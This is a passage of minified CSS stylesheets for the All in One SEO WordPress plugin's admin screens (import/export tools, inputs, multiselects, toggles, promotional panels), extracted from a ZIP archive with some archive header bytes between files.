40px;display:flex;align-items:center;justify-content:center;flex-direction:column;position:relative}.aioseo-core-backup-settings-modal .aioseo-modal-body h3{font-size:20px;margin-bottom:16px}.aioseo-core-backup-settings-modal .aioseo-modal-body .reset-description{font-size:16px;color:#141b38;margin-bottom:16px;text-align:center;max-width:515px}.aioseo-core-backup-settings-modal .aioseo-modal-body button.close{position:absolute;top:11px;width:24px;height:24px;background-color:#fff;border:none;display:flex;align-items:center}[dir=ltr] .aioseo-core-backup-settings-modal .aioseo-modal-body button.close{right:11px}[dir=rtl] .aioseo-core-backup-settings-modal .aioseo-modal-body button.close{left:11px}.aioseo-core-backup-settings-modal .aioseo-modal-body button.close svg.aioseo-close{cursor:pointer;width:14px;height:14px}.aioseo-core-backup-settings-modal .aioseo-modal-body .aioseo-description{max-width:510px;text-align:center}.aioseo-core-backup-settings-modal .aioseo-modal-body .aioseo-button:not(.close){margin-top:16px}.aioseo-export-settings{flex:1;font-size:16px}.aioseo-export-settings .select-site{font-size:16px;font-weight:700;margin-bottom:5px}.aioseo-export-settings .aioseo-button.import{margin-top:24px}.aioseo-export-settings .export-settings{border-bottom-width:0}.aioseo-export-settings .export-settings .export-all{padding-bottom:12px;font-weight:600;border-bottom:1px solid #E8E8EB}.aioseo-export-settings .export-post-types{border-bottom-width:0}.aioseo-export-settings .export-post-types .export-all{padding-bottom:12px;font-weight:600;border-bottom:1px solid #E8E8EB}.aioseo-import-aioseo .import-alert{margin-bottom:20px}.aioseo-import-aioseo .select-site{font-size:16px;font-weight:700;margin-bottom:5px}.aioseo-import-aioseo .file-upload{display:flex;gap:8px}[dir=ltr] .aioseo-import-aioseo .file-upload>.aioseo-input{margin-right:10px}[dir=rtl] .aioseo-import-aioseo .file-upload>.aioseo-input{margin-left:10px}.aioseo-import-aioseo .aioseo-button.import{margin-top:20px}.aioseo-import-others{flex:1;font-size:16px}.aioseo-import-others .import-success,.aioseo-import-others .import-error{margin-bottom:20px}.aioseo-import-others .select-site{font-size:16px;font-weight:700;margin-bottom:5px}.aioseo-import-others .aioseo-button.import{margin-top:16px}.aioseo-import-others .import-settings{margin-top:20px}.aioseo-import-others .import-plugin-label{display:flex}.aioseo-import-others .import-plugin-label span:first-child{flex:1}.aioseo-tools-import-export{position:relative}.aioseo-tools-import-export .aioseo-row .aioseo-card{margin:0}.aioseo-tools-import-export .aioseo-row .aioseo-col{display:flex;flex-direction:column;gap:var(--aioseo-gutter)}.aioseo-tools-import-export .aioseo-row+.aioseo-row{margin-top:var(--aioseo-gutter)}.aioseo-tools-import-export .export-post-types{--aioseo-gutter: 12px} PKÉ—[q(VWW;all-in-one-seo-pack/dist/Lite/assets/css/index.8QbVhAsu.cssnu„[µü¤.aioseo-input-container{position:relative;width:100%}.aioseo-input-container .aioseo-input{width:100%}.aioseo-input-container .aioseo-input.file{position:absolute;top:0;right:0;left:0;bottom:0;margin:0;padding:0}.aioseo-input-container .aioseo-input.file input[type=file]{position:absolute;top:0;right:0;left:0;bottom:0;margin:0;padding:0;cursor:pointer;opacity:0}.aioseo-input-container .aioseo-input.file input[type=file]::-webkit-file-upload-button{visibility:hidden}.aioseo-input-container .aioseo-input.file input[type=file]:focus{box-shadow:none}.aioseo-input-container .aioseo-input input{height:48px;width:100%;background-color:#fff;border:1px solid #D0D1D7;border-radius:3px;padding:12px 16px;font-size:16px;line-height:24px;position:relative;overflow:hidden;margin:0}.aioseo-input-container .aioseo-input input:disabled{background:#f9f9fa}.aioseo-input-container .aioseo-input input:focus{border-color:#005ae0;box-shadow:0 0 0 1px #005ae0}.aioseo-input-container .aioseo-input input::placeholder{color:#8c8f9a}[dir=ltr] .aioseo-input-container .aioseo-input input.prepend{padding-left:50px}[dir=rtl] .aioseo-input-container .aioseo-input input.prepend,[dir=ltr] .aioseo-input-container .aioseo-input input.append{padding-right:50px}[dir=rtl] .aioseo-input-container .aioseo-input input.append{padding-left:50px}.aioseo-input-container .aioseo-input input.small{height:32px;padding:7px 8px;font-size:12px;line-height:18px}[dir=ltr] .aioseo-input-container .aioseo-input input.small.prepend{padding-left:30px}[dir=rtl] .aioseo-input-container .aioseo-input input.small.prepend,[dir=ltr] .aioseo-input-container .aioseo-input input.small.append{padding-right:30px}[dir=rtl] .aioseo-input-container .aioseo-input input.small.append{padding-left:30px}.aioseo-input-container .aioseo-input input.medium{height:40px;padding:9px 12px;font-size:14px;line-height:22px}[dir=ltr] .aioseo-input-container .aioseo-input input.medium.prepend{padding-left:35px}[dir=rtl] .aioseo-input-container .aioseo-input input.medium.prepend,[dir=ltr] .aioseo-input-container .aioseo-input input.medium.append{padding-right:35px}[dir=rtl] .aioseo-input-container .aioseo-input input.medium.append{padding-left:35px}.aioseo-input-container .aioseo-input.aioseo-active input{border-color:#00aa63}.aioseo-input-container .aioseo-input.aioseo-active input:active,.aioseo-input-container .aioseo-input.aioseo-active input:focus{box-shadow:0 0 0 1px #00aa63}.aioseo-input-container .aioseo-input.aioseo-active .prepend-icon,.aioseo-input-container .aioseo-input.aioseo-active .append-icon{color:#00aa63}.aioseo-input-container .aioseo-input.aioseo-error input,.aioseo-error .aioseo-input-container .aioseo-input input{border-color:#df2a4a}.aioseo-input-container .aioseo-input.aioseo-error input:active,.aioseo-input-container .aioseo-input.aioseo-error input:focus,.aioseo-error .aioseo-input-container .aioseo-input input:active,.aioseo-error .aioseo-input-container .aioseo-input input:focus{box-shadow:0 0 0 1px #df2a4a}.aioseo-input-container .aioseo-input.aioseo-error .prepend-icon,.aioseo-input-container .aioseo-input.aioseo-error .append-icon,.aioseo-error .aioseo-input-container .aioseo-input .prepend-icon,.aioseo-error .aioseo-input-container .aioseo-input .append-icon{color:#df2a4a}.aioseo-input-container .aioseo-input.aioseo-warning input{border-color:#f18200}.aioseo-input-container .aioseo-input.aioseo-warning input:active,.aioseo-input-container .aioseo-input.aioseo-warning input:focus{box-shadow:0 0 0 1px #f18200}.aioseo-input-container .aioseo-input.aioseo-warning .prepend-icon,.aioseo-input-container .aioseo-input.aioseo-warning .append-icon{color:#f18200}.aioseo-input-container .aioseo-input .prepend-icon{position:absolute;top:0;width:30px;height:100%;color:#d0d1d7;display:flex;align-items:center;z-index:1}[dir=ltr] .aioseo-input-container .aioseo-input .prepend-icon{left:10px}[dir=rtl] .aioseo-input-container .aioseo-input .prepend-icon{right:10px}.aioseo-input-container .aioseo-input .prepend-icon svg{width:30px;height:30px}.aioseo-input-container .aioseo-input .prepend-icon.small{width:20px}.aioseo-input-container .aioseo-input .prepend-icon.small svg{width:10px;height:10px}.aioseo-input-container .aioseo-input .prepend-icon.medium{width:15px}.aioseo-input-container .aioseo-input .prepend-icon.medium svg{width:15px;height:15px}.aioseo-input-container .aioseo-input .append-icon{position:absolute;top:0;height:100%;color:#d0d1d7;display:flex;align-items:center;z-index:1}[dir=ltr] .aioseo-input-container .aioseo-input .append-icon{right:10px}[dir=rtl] .aioseo-input-container .aioseo-input .append-icon{left:10px}.aioseo-input-container .aioseo-input .append-icon svg{width:30px;height:30px}.aioseo-input-container .aioseo-input .append-icon.small{width:10px}.aioseo-input-container .aioseo-input .append-icon.medium{width:15px}.aioseo-input-container .aioseo-input .append-icon.clickable{cursor:pointer;padding:0 5px;background:#f3f4f5;border:1px solid #D0D1D7;color:#434960;width:30px}[dir=ltr] .aioseo-input-container .aioseo-input .append-icon.clickable{right:0;border-radius:0 3px 3px 0}[dir=rtl] .aioseo-input-container .aioseo-input .append-icon.clickable{left:0;border-radius:3px 0 0 3px}.aioseo-input-container .aioseo-input .append-icon.clickable.small{width:15px}.aioseo-input-container .aioseo-input .append-icon.clickable.medium{padding:0 10px;width:40px}.aioseo-input-container .aioseo-input-error{margin-top:10px}fieldset[disabled] .multiselect{pointer-events:none}.multiselect__spinner{position:absolute;top:1px;width:40px;height:38px;background:#fff;display:block}[dir=ltr] .multiselect__spinner{right:1px}[dir=rtl] .multiselect__spinner{left:1px}.multiselect__spinner:after,.multiselect__spinner:before{position:absolute;content:"";top:50%;width:16px;height:16px;border-radius:100%;border-color:#41b883 transparent transparent;border-style:solid;border-width:2px;box-shadow:0 0 0 1px transparent}[dir=ltr] .multiselect__spinner:after,[dir=ltr] .multiselect__spinner:before{left:50%;margin:-8px 0 0 -8px}[dir=rtl] .multiselect__spinner:after,[dir=rtl] .multiselect__spinner:before{right:50%;margin:-8px -8px 0 0}.multiselect__spinner:before{-webkit-animation:spinning 2.4s cubic-bezier(.41,.26,.2,.62);animation:spinning 2.4s cubic-bezier(.41,.26,.2,.62);-webkit-animation-iteration-count:infinite;animation-iteration-count:infinite}.multiselect__spinner:after{-webkit-animation:spinning 2.4s cubic-bezier(.51,.09,.21,.8);animation:spinning 2.4s cubic-bezier(.51,.09,.21,.8);-webkit-animation-iteration-count:infinite;animation-iteration-count:infinite}.multiselect__loading-enter-active,.multiselect__loading-leave-active{transition:opacity .4s ease-in-out;opacity:1}.multiselect__loading-enter,.multiselect__loading-leave-active{opacity:0}.multiselect,.multiselect__input,.multiselect__single{font-family:inherit;font-size:16px;touch-action:manipulation}.multiselect{box-sizing:content-box;display:block;position:relative;width:100%;min-height:40px;color:#35495e}[dir=ltr] .multiselect{text-align:left}[dir=rtl] .multiselect{text-align:right}.multiselect *{box-sizing:border-box}.multiselect:focus{outline:none}.multiselect--disabled{background:#ededed;pointer-events:none;opacity:.6}.multiselect--active{z-index:50}.multiselect--active:not(.multiselect--above) .multiselect__current,.multiselect--active:not(.multiselect--above) .multiselect__input,.multiselect--active:not(.multiselect--above) .multiselect__tags{border-bottom-left-radius:0;border-bottom-right-radius:0}[dir=ltr] .multiselect--active .multiselect__select{transform:rotate(180deg)}[dir=rtl] .multiselect--active .multiselect__select{transform:rotate(-180deg)}.multiselect--above.multiselect--active .multiselect__current,.multiselect--above.multiselect--active .multiselect__input,.multiselect--above.multiselect--active .multiselect__tags{border-top-left-radius:0;border-top-right-radius:0}.multiselect__input,.multiselect__single{position:relative;display:inline-block;min-height:20px;line-height:20px;border:none;border-radius:5px;background:#fff;width:100%;transition:border .1s ease;box-sizing:border-box;margin-bottom:8px;vertical-align:top}[dir=ltr] .multiselect__input,[dir=ltr] .multiselect__single{padding:0 0 0 5px}[dir=rtl] .multiselect__input,[dir=rtl] .multiselect__single{padding:0 5px 0 0}.multiselect__input::-moz-placeholder{color:#35495e}.multiselect__input:-ms-input-placeholder{color:#35495e}.multiselect__input::placeholder{color:#35495e}.multiselect__tag~.multiselect__input,.multiselect__tag~.multiselect__single{width:auto}.multiselect__input:hover,.multiselect__single:hover{border-color:#cfcfcf}.multiselect__input:focus,.multiselect__single:focus{border-color:#a8a8a8;outline:none}.multiselect__single{margin-bottom:8px}[dir=ltr] .multiselect__single{padding-left:5px}[dir=rtl] .multiselect__single{padding-right:5px}.multiselect__tags-wrap{display:inline}.multiselect__tags{min-height:40px;display:block;border-radius:5px;border:1px solid #e8e8e8;background:#fff;font-size:14px}[dir=ltr] .multiselect__tags{padding:8px 40px 0 8px}[dir=rtl] .multiselect__tags{padding:8px 8px 0 40px}.multiselect__tag{position:relative;display:inline-block;border-radius:5px;color:#fff;line-height:1;background:#41b883;margin-bottom:5px;white-space:nowrap;overflow:hidden;max-width:100%;text-overflow:ellipsis}[dir=ltr] .multiselect__tag{padding:4px 26px 4px 10px;margin-right:10px}[dir=rtl] .multiselect__tag{padding:4px 10px 4px 26px;margin-left:10px}.multiselect__tag-icon{cursor:pointer;position:absolute;top:0;bottom:0;font-weight:700;font-style:normal;width:22px;text-align:center;line-height:22px;transition:all .2s ease;border-radius:5px}[dir=ltr] .multiselect__tag-icon{margin-left:7px;right:0}[dir=rtl] .multiselect__tag-icon{margin-right:7px;left:0}.multiselect__tag-icon:after{content:"×";color:#266d4d;font-size:14px}.multiselect__tag-icon:focus:after,.multiselect__tag-icon:hover:after{color:#fff}.multiselect__current{min-height:40px;overflow:hidden;padding:8px 12px 0;white-space:nowrap;border-radius:5px;border:1px solid #e8e8e8}[dir=ltr] .multiselect__current{padding-right:30px}[dir=rtl] .multiselect__current{padding-left:30px}.multiselect__current,.multiselect__select{line-height:16px;box-sizing:border-box;display:block;margin:0;text-decoration:none;cursor:pointer}.multiselect__select{position:absolute;width:40px;height:38px;top:1px;padding:4px 8px;text-align:center;transition:transform .2s ease}[dir=ltr] .multiselect__select{right:1px}[dir=rtl] .multiselect__select{left:1px}.multiselect__select:before{position:relative;top:65%;color:#999;margin-top:4px;border-style:solid;border-width:5px 5px 0 5px;border-color:#999 transparent transparent transparent;content:""}[dir=ltr] .multiselect__select:before{right:0}[dir=rtl] .multiselect__select:before{left:0}.multiselect__placeholder{color:#adadad;display:inline-block;margin-bottom:10px;padding-top:2px}.multiselect--active .multiselect__placeholder{display:none}.multiselect__content-wrapper{position:absolute;display:block;background:#fff;width:100%;max-height:240px;overflow:auto;border:1px solid #e8e8e8;border-top:none;border-bottom-left-radius:5px;border-bottom-right-radius:5px;z-index:50;-webkit-overflow-scrolling:touch}.multiselect__content{list-style:none;display:inline-block;padding:0;margin:0;min-width:100%;vertical-align:top}.multiselect--above .multiselect__content-wrapper{bottom:100%;border-radius:5px 5px 0 0;border-bottom:none;border-top:1px solid #e8e8e8}.multiselect__content::-webkit-scrollbar{display:none}.multiselect__element{display:block}.multiselect__option{display:block;padding:12px;min-height:40px;line-height:16px;text-decoration:none;text-transform:none;vertical-align:middle;position:relative;cursor:pointer;white-space:nowrap}.multiselect__option:after{top:0;position:absolute;line-height:40px;font-size:13px}[dir=ltr] .multiselect__option:after{right:0;padding-right:12px;padding-left:20px}[dir=rtl] .multiselect__option:after{left:0;padding-left:12px;padding-right:20px}.multiselect__option--highlight{background:#41b883;outline:none;color:#fff}.multiselect__option--highlight:after{content:attr(data-select);background:#41b883;color:#fff}.multiselect__option--selected{background:#f3f3f3;color:#35495e;font-weight:700}.multiselect__option--selected:after{content:attr(data-selected);color:silver;background:inherit}.multiselect__option--selected.multiselect__option--highlight{background:#ff6a6a;color:#fff}.multiselect__option--selected.multiselect__option--highlight:after{background:#ff6a6a;content:attr(data-deselect);color:#fff}.multiselect--disabled .multiselect__current,.multiselect--disabled .multiselect__select{background:#ededed;color:#a6a6a6}.multiselect__option--disabled{background:#ededed!important;color:#a6a6a6!important;cursor:text;pointer-events:none}.multiselect__option--group{background:#ededed;color:#35495e}.multiselect__option--group.multiselect__option--highlight{background:#35495e;color:#fff}.multiselect__option--group.multiselect__option--highlight:after{background:#35495e}.multiselect__option--disabled.multiselect__option--highlight{background:#dedede}.multiselect__option--group-selected.multiselect__option--highlight{background:#ff6a6a;color:#fff}.multiselect__option--group-selected.multiselect__option--highlight:after{background:#ff6a6a;content:attr(data-deselect);color:#fff}.multiselect-enter-active,.multiselect-leave-active{transition:all .15s ease}.multiselect-enter,.multiselect-leave-active{opacity:0}.multiselect__strong{margin-bottom:8px;line-height:20px;display:inline-block;vertical-align:top}[dir=ltr] [dir=rtl] .multiselect{text-align:right}[dir=rtl] [dir=rtl] .multiselect{text-align:left}[dir=ltr] [dir=rtl] .multiselect__select{right:auto;left:1px}[dir=rtl] [dir=rtl] .multiselect__select{left:auto;right:1px}[dir=ltr] [dir=rtl] .multiselect__tags{padding:8px 8px 0 40px}[dir=rtl] [dir=rtl] .multiselect__tags{padding:8px 40px 0 8px}[dir=ltr] [dir=rtl] .multiselect__content{text-align:right}[dir=rtl] [dir=rtl] .multiselect__content{text-align:left}[dir=ltr] [dir=rtl] .multiselect__option:after{right:auto;left:0}[dir=rtl] [dir=rtl] .multiselect__option:after{left:auto;right:0}[dir=ltr] [dir=rtl] .multiselect__clear{right:auto;left:12px}[dir=rtl] [dir=rtl] .multiselect__clear{left:auto;right:12px}[dir=ltr] [dir=rtl] .multiselect__spinner{right:auto;left:1px}[dir=rtl] [dir=rtl] .multiselect__spinner{left:auto;right:1px}@-webkit-keyframes spinning{0%{transform:rotate(0)}to{transform:rotate(2turn)}}@keyframes spinning{0%{transform:rotate(0)}to{transform:rotate(2turn)}}.aioseo-select{height:48px}.aioseo-select.multiselect--disabled .multiselect__select{background:none}.aioseo-select .multiselect__select{display:flex;align-items:center;justify-content:center;min-height:40px}.aioseo-select .multiselect__select:before{display:none}.aioseo-select .multiselect__select svg.aioseo-caret{color:#141b38;width:18px;height:18px;transition:transform .3s}.aioseo-select .multiselect__tags{border:1px solid #D0D1D7;border-radius:3px;display:flex;justify-content:center;flex-direction:column}[dir=ltr] .aioseo-select .multiselect__tags{padding:16px 40px 16px 16px}[dir=rtl] .aioseo-select .multiselect__tags{padding:16px 16px 16px 40px}.aioseo-select .multiselect__tags .multiselect__spinner{height:calc(100% - 2px);border:2px solid transparent}.aioseo-select .multiselect__tags .multiselect__spinner:after,.aioseo-select .multiselect__tags .multiselect__spinner:before{border-top-color:#434960}.aioseo-select .multiselect__tags .multiselect__single{display:inline-flex;margin:0;padding:0;font-size:14px;color:#141b38;overflow:hidden;white-space:nowrap;text-overflow:ellipsis}.aioseo-select .multiselect__tags .multiselect__placeholder{color:#8c8f9a;font-size:14px;line-height:20px;margin:0;padding:0}.aioseo-select .multiselect__tags .multiselect__input{padding:0;border-radius:0;border:none;color:#141b38;min-height:auto;font-size:14px;line-height:20px}[dir=ltr] .aioseo-select .multiselect__tags .multiselect__input{margin:0 10px 0 0}[dir=rtl] .aioseo-select .multiselect__tags .multiselect__input{margin:0 0 0 10px}.aioseo-select .multiselect__tags .multiselect__input:focus{outline:0;box-shadow:none;border:none}.aioseo-select .multiselect__tags .multiselect__input::placeholder{color:#8c8f9a}.aioseo-select .multiselect__tags .multiselect__tags-wrap{display:flex;align-items:center;flex-wrap:wrap;gap:6px}.aioseo-select .multiselect__tags .multiselect__tags-wrap .multiselect__tag{padding:0;display:inline-flex;align-items:center;font-size:14px;font-weight:600;color:#434960;height:24px;background-color:#f3f4f5;flex-shrink:0}[dir=ltr] .aioseo-select .multiselect__tags .multiselect__tags-wrap .multiselect__tag{margin:0 3px 0 0}[dir=rtl] .aioseo-select .multiselect__tags .multiselect__tags-wrap .multiselect__tag{margin:0 0 0 3px}[dir] .aioseo-select .multiselect__tags .multiselect__tags-wrap .multiselect__tag{margin-bottom:0}[dir=ltr] .aioseo-select .multiselect__tags .multiselect__tags-wrap .multiselect__tag .multiselect__tag-value{padding:0 5px 0 10px}[dir=rtl] .aioseo-select .multiselect__tags .multiselect__tags-wrap .multiselect__tag .multiselect__tag-value{padding:0 10px 0 5px}.aioseo-select .multiselect__tags .multiselect__tags-wrap .multiselect__tag .multiselect__tag-remove{padding:0 10px;height:100%;cursor:pointer;background-color:#f3f4f5;display:flex;align-items:center}.aioseo-select .multiselect__tags .multiselect__tags-wrap .multiselect__tag .multiselect__tag-remove:hover{background-color:#434960;color:#fff}.aioseo-select .multiselect__tags .multiselect__tags-wrap .multiselect__tag .multiselect__tag-remove:hover svg.aioseo-close{color:#fff}.aioseo-select .multiselect__tags .multiselect__tags-wrap .multiselect__tag .multiselect__tag-remove svg.aioseo-close{color:#434960;width:10px;height:10px}.aioseo-error .aioseo-select .multiselect__tags{border-color:#df2a4a}.aioseo-select.multiselect--active .multiselect__tags-wrap{margin-bottom:7px}.aioseo-select.small{height:30px;min-height:30px}.aioseo-select.small .multiselect__tags{min-height:30px}[dir=ltr] .aioseo-select.small .multiselect__tags{padding:8px 38px 8px 8px}[dir=rtl] .aioseo-select.small .multiselect__tags{padding:8px 8px 8px 38px}.aioseo-select.small .multiselect__tags .multiselect__placeholder{font-size:14px}.aioseo-select.small .multiselect__select{height:28px;min-height:28px}.aioseo-select.small .multiselect__input{font-size:14px}.aioseo-select.small .multiselect__content-wrapper li.multiselect__element .multiselect__option{font-size:14px;padding:8px;min-height:30px}.aioseo-select.medium{height:40px}[dir=ltr] .aioseo-select.medium .multiselect__tags{padding:9px 40px 9px 12px}[dir=rtl] .aioseo-select.medium .multiselect__tags{padding:9px 12px 9px 40px}.aioseo-select.medium .multiselect__select{min-height:38px}.aioseo-select.multiple{min-height:48px;height:auto}.aioseo-select.multiple.small{min-height:30px}.aioseo-select.multiple.medium{min-height:40px}.aioseo-select.multiselect--above .multiselect__content-wrapper{border-top:1px solid #D0D1D7;border-bottom:none}.aioseo-select .multiselect__content-wrapper{border:1px solid #D0D1D7;border-top:none;border-bottom-left-radius:3px;border-bottom-right-radius:3px;z-index:50;-webkit-overflow-scrolling:touch}.aioseo-select .multiselect__content-wrapper .multiselect__content{max-width:100%}.aioseo-select .multiselect__content-wrapper li.multiselect__element{margin:0;border-bottom:1px solid #E8E8EB}.aioseo-select .multiselect__content-wrapper li.multiselect__element.last{border-bottom:none}.aioseo-select .multiselect__content-wrapper li.multiselect__element .multiselect__option{color:#141b38;font-weight:400;font-size:14px;white-space:normal;line-height:22px;padding:8px;min-height:38px}.aioseo-select .multiselect__content-wrapper li.multiselect__element .multiselect__option--highlight{background-color:#f2f7fd}.aioseo-select .multiselect__content-wrapper li.multiselect__element .multiselect__option--highlight:after{background-color:#005ae0;color:#fff}.aioseo-select .multiselect__content-wrapper li.multiselect__element .multiselect__option--selected{background-color:#f2f7fd}.aioseo-select .multiselect__content-wrapper li.multiselect__element .multiselect__option--disabled{font-weight:initial;background-color:#fff!important;color:#8c8f9a}.aioseo-select .multiselect__content-wrapper li.multiselect__element .multiselect__option .docLink{font-size:13px}[dir=ltr] .aioseo-select .multiselect__content-wrapper li.multiselect__element .multiselect__option .docLink{float:right}[dir=rtl] .aioseo-select .multiselect__content-wrapper li.multiselect__element .multiselect__option .docLink{float:left}.aioseo-toggle{display:inline-flex;align-items:center;vertical-align:middle}.aioseo-toggle:active,.aioseo-toggle:focus{outline:2px solid transparent}.aioseo-toggle.disabled{pointer-events:none}.aioseo-toggle.disabled .toggle-content{opacity:.5}.aioseo-toggle .toggle-content{position:relative;display:inline-block;width:32px;height:18px}[dir=ltr] .aioseo-toggle .toggle-content{margin-right:8px}[dir=rtl] .aioseo-toggle .toggle-content{margin-left:8px}.aioseo-toggle .toggle-content input{display:none}.aioseo-toggle .toggle-content input:checked+.toggle-switch{border:1px solid #005AE0;background-color:#005ae0}.aioseo-toggle .toggle-content input:checked+.toggle-switch:focus{outline:2px solid transparent}.aioseo-toggle .toggle-content input:checked+.toggle-switch:before{background-color:#fff}[dir=ltr] .aioseo-toggle .toggle-content input:checked+.toggle-switch:before{transform:translate(13px)}[dir=rtl] .aioseo-toggle .toggle-content input:checked+.toggle-switch:before{transform:translate(-13px)}.aioseo-toggle .toggle-content input:focus+.toggle-switch{box-shadow:0 0 1px #005ae0;outline:2px solid transparent}.aioseo-toggle .toggle-content .toggle-switch{position:absolute;cursor:pointer;top:0;left:0;right:0;bottom:0;background-color:#fff;border:1px solid #D0D1D7;border-radius:16px;transition:.2s}.aioseo-toggle .toggle-content .toggle-switch:before{position:absolute;content:"";height:12px;width:12px;bottom:2px;background-color:#d0d1d7;border-radius:50%;transition:.2s}[dir=ltr] .aioseo-toggle .toggle-content .toggle-switch:before{left:3px}[dir=rtl] .aioseo-toggle .toggle-content .toggle-switch:before{right:3px} PKÉ—[Ódiv,.aioseo-blc-app .aioseo-cta .aioseo-cta-background .type-2>div,#aioseo-user-profile-tab .aioseo-cta .aioseo-cta-background .type-2>div{flex:0 0 50%}[dir=ltr] .aioseo-app .aioseo-cta .aioseo-cta-background .type-2>div,[dir=ltr] .aioseo-blc-app .aioseo-cta .aioseo-cta-background .type-2>div,[dir=ltr] #aioseo-user-profile-tab .aioseo-cta .aioseo-cta-background .type-2>div{margin-right:20px}[dir=rtl] .aioseo-app .aioseo-cta .aioseo-cta-background .type-2>div,[dir=rtl] .aioseo-blc-app .aioseo-cta .aioseo-cta-background .type-2>div,[dir=rtl] #aioseo-user-profile-tab .aioseo-cta .aioseo-cta-background .type-2>div{margin-left:20px}.aioseo-app .aioseo-cta .aioseo-cta-background .type-2 .featured-image,.aioseo-blc-app .aioseo-cta .aioseo-cta-background .type-2 .featured-image,#aioseo-user-profile-tab .aioseo-cta .aioseo-cta-background .type-2 .featured-image{max-height:540px;border:1px solid #E8E8EB;flex:1;overflow:hidden;margin-bottom:-71px}[dir=ltr] .aioseo-app .aioseo-cta .aioseo-cta-background .type-2 .featured-image,[dir=ltr] .aioseo-blc-app .aioseo-cta .aioseo-cta-background .type-2 .featured-image,[dir=ltr] #aioseo-user-profile-tab .aioseo-cta .aioseo-cta-background .type-2 .featured-image{margin-right:-41px;border-radius:5px 0 0}[dir=rtl] .aioseo-app .aioseo-cta .aioseo-cta-background .type-2 .featured-image,[dir=rtl] .aioseo-blc-app .aioseo-cta .aioseo-cta-background .type-2 .featured-image,[dir=rtl] #aioseo-user-profile-tab .aioseo-cta .aioseo-cta-background .type-2 .featured-image{margin-left:-41px;border-radius:0 5px 0 0}.aioseo-app .aioseo-cta .aioseo-cta-background .type-2 .featured-image img,.aioseo-blc-app .aioseo-cta .aioseo-cta-background .type-2 .featured-image img,#aioseo-user-profile-tab .aioseo-cta .aioseo-cta-background .type-2 .featured-image img{max-height:600px}@media only screen and (max-width: 912px){.aioseo-app .aioseo-cta .aioseo-cta-background .type-2,.aioseo-blc-app .aioseo-cta .aioseo-cta-background .type-2,#aioseo-user-profile-tab .aioseo-cta .aioseo-cta-background .type-2{flex-direction:column;align-items:center}.aioseo-app .aioseo-cta .aioseo-cta-background .type-2 .header-text,.aioseo-app .aioseo-cta .aioseo-cta-background .type-2 .description,.aioseo-blc-app .aioseo-cta .aioseo-cta-background .type-2 .header-text,.aioseo-blc-app .aioseo-cta .aioseo-cta-background .type-2 .description,#aioseo-user-profile-tab .aioseo-cta .aioseo-cta-background .type-2 .header-text,#aioseo-user-profile-tab .aioseo-cta .aioseo-cta-background .type-2 .description{text-align:center}.aioseo-app .aioseo-cta .aioseo-cta-background .type-2>div,.aioseo-blc-app .aioseo-cta .aioseo-cta-background .type-2>div,#aioseo-user-profile-tab .aioseo-cta .aioseo-cta-background .type-2>div{text-align:center;margin-bottom:30px;flex:1 0 100%;width:100%}[dir=ltr] .aioseo-app .aioseo-cta .aioseo-cta-background .type-2>div,[dir=ltr] .aioseo-blc-app .aioseo-cta .aioseo-cta-background .type-2>div,[dir=ltr] #aioseo-user-profile-tab .aioseo-cta .aioseo-cta-background .type-2>div{margin-right:0}[dir=rtl] .aioseo-app .aioseo-cta .aioseo-cta-background .type-2>div,[dir=rtl] .aioseo-blc-app .aioseo-cta .aioseo-cta-background .type-2>div,[dir=rtl] #aioseo-user-profile-tab .aioseo-cta .aioseo-cta-background .type-2>div{margin-left:0}.aioseo-app .aioseo-cta .aioseo-cta-background .type-2 .featured-image,.aioseo-blc-app .aioseo-cta .aioseo-cta-background .type-2 .featured-image,#aioseo-user-profile-tab .aioseo-cta .aioseo-cta-background .type-2 .featured-image{margin:0 -10px -41px;border-radius:5px 5px 0 0;max-height:300px}}.aioseo-app .aioseo-cta .aioseo-cta-background .type-3,.aioseo-blc-app .aioseo-cta .aioseo-cta-background .type-3,#aioseo-user-profile-tab .aioseo-cta .aioseo-cta-background .type-3{display:flex;flex-wrap:wrap;justify-content:center;column-gap:20px;row-gap:8px}.aioseo-app .aioseo-cta .aioseo-cta-background .type-3>*,.aioseo-blc-app .aioseo-cta .aioseo-cta-background .type-3>*,#aioseo-user-profile-tab .aioseo-cta .aioseo-cta-background .type-3>*{width:100%}.aioseo-app .aioseo-cta .aioseo-cta-background .type-3 .sub-header,.aioseo-blc-app .aioseo-cta .aioseo-cta-background .type-3 .sub-header,#aioseo-user-profile-tab .aioseo-cta .aioseo-cta-background .type-3 .sub-header{line-height:1.4;font-size:12px;font-weight:600;color:#005ae0;text-align:center}.aioseo-app .aioseo-cta .aioseo-cta-background .type-3 .header-text,.aioseo-blc-app .aioseo-cta .aioseo-cta-background .type-3 .header-text,#aioseo-user-profile-tab .aioseo-cta .aioseo-cta-background .type-3 .header-text{text-align:center}.aioseo-app .aioseo-cta .aioseo-cta-background .type-3 .feature-list,.aioseo-blc-app .aioseo-cta .aioseo-cta-background .type-3 .feature-list,#aioseo-user-profile-tab .aioseo-cta .aioseo-cta-background .type-3 .feature-list{margin:22px 0}.aioseo-app .aioseo-cta .aioseo-cta-background .type-3 .feature-list .aioseo-col svg.aioseo-circle-check,.aioseo-blc-app .aioseo-cta .aioseo-cta-background .type-3 .feature-list .aioseo-col svg.aioseo-circle-check,#aioseo-user-profile-tab .aioseo-cta .aioseo-cta-background .type-3 .feature-list .aioseo-col svg.aioseo-circle-check{color:#00aa63;width:21px;min-width:21px;min-height:21px}[dir=ltr] .aioseo-app .aioseo-cta .aioseo-cta-background .type-3 .feature-list .aioseo-col svg.aioseo-circle-check,[dir=ltr] .aioseo-blc-app .aioseo-cta .aioseo-cta-background .type-3 .feature-list .aioseo-col svg.aioseo-circle-check,[dir=ltr] #aioseo-user-profile-tab .aioseo-cta .aioseo-cta-background .type-3 .feature-list .aioseo-col svg.aioseo-circle-check{margin-right:10px}[dir=rtl] .aioseo-app .aioseo-cta .aioseo-cta-background .type-3 .feature-list .aioseo-col svg.aioseo-circle-check,[dir=rtl] .aioseo-blc-app .aioseo-cta .aioseo-cta-background .type-3 .feature-list .aioseo-col svg.aioseo-circle-check,[dir=rtl] #aioseo-user-profile-tab .aioseo-cta .aioseo-cta-background .type-3 .feature-list .aioseo-col svg.aioseo-circle-check{margin-left:10px}.aioseo-app .aioseo-cta .aioseo-cta-background .type-3 .aioseo-button,.aioseo-blc-app .aioseo-cta .aioseo-cta-background .type-3 .aioseo-button,#aioseo-user-profile-tab .aioseo-cta .aioseo-cta-background .type-3 .aioseo-button{width:auto}.aioseo-app .aioseo-cta .aioseo-cta-background .type-4 .header-text,.aioseo-blc-app .aioseo-cta .aioseo-cta-background .type-4 .header-text,#aioseo-user-profile-tab .aioseo-cta 